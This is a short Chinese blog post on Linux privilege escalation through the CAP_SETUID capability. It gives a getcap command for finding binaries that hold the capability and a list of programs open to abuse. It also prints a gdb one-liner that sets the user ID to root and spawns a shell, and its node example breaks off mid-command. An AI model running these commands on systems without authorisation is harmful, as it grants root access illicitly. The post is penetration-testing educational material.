Capabilities位提权

最新推荐文章于 2024-06-01 10:32:04 发布

彤彤学安全

最新推荐文章于 2024-06-01 10:32:04 发布

阅读量1.5k

点赞数 1

分类专栏： linux提权文章标签： linux 渗透测试 shell python 运维

本文链接：https://blog.csdn.net/m0_57221101/article/details/123928521

版权

本文介绍了Linux 2.2之后引入的Capabilities机制，旨在细分root权限，提高系统安全性。重点关注了与提权相关的CAP_SETUID标志。提权可能涉及的程序包括gdb、node等。通过探查具备CAP_SETUID标志的进程，可能存在提权问题。文章提供了利用方法和相关资源链接。

摘要由CSDN通过智能技术生成

linux2.2之后,产生了Capabilities用于分隔root权限，以便于用户更好，更安全，更精细的管理机器的功能和权限。

具体的相关与capabilities的使用方面知识可以去参考这篇文章Linux Capabilities 简介 - sparkdev - 博客园 (cnblogs.com)

这里仅讨论对提权有帮助的CAP_SETUID标志

首先需要探查有CAP_SETUID标志的进程

/usr/sbin/getcap -r / 2>/dev/null

这样来找到进程

如果此处展现出类似于

/usr/bin/python2.7 = cap_setuid+ep

的字样，此处就有可能存在提权问题

可能产生Capabilities提权的程序有以下这些

gdb，node，perl，php，python，ruby，rview，rvim，view，vim，vimdiff

可以查看一下有没有你查询到的程序

利用方法如下

# gbd的利用方法
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

#node的利用方法
./node -e 'proc

关注

专栏目录